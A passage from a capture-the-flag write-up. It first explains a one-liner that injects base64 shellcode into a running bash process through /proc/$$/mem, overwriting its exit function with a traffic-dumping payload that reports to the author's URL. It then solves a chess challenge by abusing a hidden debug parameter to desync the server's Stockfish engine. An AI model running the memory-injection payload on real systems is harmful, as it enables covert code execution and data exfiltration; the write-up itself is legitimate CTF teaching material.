cd /proc/$$;exec 3>mem;echo "SDH/Zr8RAEgx9r4DAAgASDHSZroAA0gxwGa4KQAPBUmJx0gx/2a/AgBIMfZI/8ZIMdJIMcBmuCkADwVJicZMifdIxwQkAAAAAMdEJATH8YuxZsdEJAIPoMYEJAJIieZIMdJmuhAASDHAZrgqAA8FSIHscBEBAEyJ/0iJ5ma6//9NMdJNMclNMcBIMcBmuC0ADwUxyUgxwLh7ImlkixwMOcN0DP/BgflwEQEAdefrx0gxwGa4AQBIMf9MifdIieZIMdJmuv//DwXrrA==" | base64 -d | dd bs=1 seek=$(($((16#`cat maps | grep /bin/bash | cut -f1 -d- | head -n 1`)) + $((16#300e0))))>&3

The payload seems complex, so I'll explain it piece by piece. First, cd into /proc/$$/ which is how you write the current PID. So, we are now in the /proc/ folder of our currently running bash process. Then, create a file descriptor 3, and point it to mem. So now, we can write to FD 3, and we'll write to our proc's memory. Then echo the shellcode as base64 and decode it. Then, use dd to write into FD 3 (our memory), and do this at the start position (seek) defined as:

$((16#`cat maps | grep /bin/bash | cut -f1 -d- | head -n 1`)) + $((16#300e0))

Now what is this magic line? This first reads out the maps file, showing the memory map of the bash process. Then it greps for /bin/bash, finding where the bash binary is loaded in memory. It gets the address using cut and head, and then converts it from base16 (hex) to decimal. Then, it adds that number to 0x300e0.

Found by my friend Fizz, 0x300e0 is the location of bash's exit function in memory. So, this entire code segment basically overwrite's bash's exit function with our own custom shellcode. From there, we write a custom tcpdumper shellcode that reports back to our custom URL. From there, we can observe the dump sent over and get the YouTube ID!

All three of these methods work in getting you the ID, and then the flag. Oh, and for those still looking for the song played, here it is :)


7 solves

smogofwar was a fun little misc challenge I wrote the day before the CTF. It's a website where you can play smog of war (similar to the chess variant fog of war) against an AI. You can't see your opponent's pieces, and can only see where you can move and attack. There's no checks in this game mode, but if your King gets captured you lose automatically.

To get the flag, we have to beat the AI. But the AI seems a little too strong. Sometimes it just snipes me from across the board and I have no idea what happened. Looking at the source code, we can see it running Stockfish, a common chess AI. But looking closer, we see that Stockfish is actually fed all of our moves!

Here's the code that handles our move:

def player_move(self, data): if self.get_turn() != chess.WHITE or self.is_game_over(): return m0 = data m1 = data if isinstance(data, dict) and "_debug" in data: m0 = data["move"] m1 = data["move2"] if not self.play_move(m0): self.emit("chat", {"name": "System", "msg": "Invalid move"}) return self.emit('state', self.get_player_state()) if self.board.king(chess.BLACK) is None: self.enemy.resign() return self.enemy.lemonthink(m1) enemy_move = self.enemy.normalthink(self.get_moves()) self.play_move(enemy_move) self.emit('state', self.get_player_state())

As you can see, it runs self.enemy.lemonthink(m1), which is our move. lemonthink just plays the move on the Stockfish internal state, so Stockfish has perfect knowledge of the game board, while we do not. How are we supposed to win?

Well, there's some weird code above too:

m0 = data m1 = data if isinstance(data, dict) and "_debug" in data: m0 = data["move"] m1 = data["move2"]

Normally, data is a string containing our move in UCI format. But if for some reason it's a dict, and there's the string "_debug" inside, it decouples our moves to m0 = data["move"] and m1 = data["move2"]. And since we play m0 on the board, and send m1 to Stockfish, we can actually desync Stockfish and the game!

Using this, it should be easy to beat Stockfish, right? Well, not so fast, Stockfish actually runs many checks!

Just like we do, Stockfish gets a list of possible moves it can play. It also generates how many moves it can play with its internal board state (that we can trick). If there's a discrepancy between what moves the server sends it as choices, and what moves it think it can make, it'll quit the game.

There's also another hard check to bypass: since it knows the moves we make, if we make a move that we shouldn't be able to make, it also quits the game.

This basically leaves us with 1 option left - we need to send the fake move as one of our last moves so that Stockfish doesn't detect it.

There's no solution I can give to this part of the challenge except play the game, send fake moves, and try to trick the bot out. My friend Quintec who is actually good at chess helped me with this part, coming up with the setup:

c4 e5 d4 exd4 Qxd4 Nc6 [fake Qd1 but play Qe3] then take the king

Here's the code to fake a move:

const fake = (realMove, fakeMove) => { socket.emit("move", {"_debug": true, "move": realMove, "move2": fakeMove}); };

This setup is almost 100% reliable, and playing it nets us the flag!

You must be really interested if you actually read everything up to this point. Thanks for reading, and I hope you learned something from either playing the CTF or reading my writeup. I'm glad I got so much positive feedback about my challenges, and I really hope to make better ones next year (although it might be a tough act to follow).

Thanks, and see you around.

~ Strellic / Bryce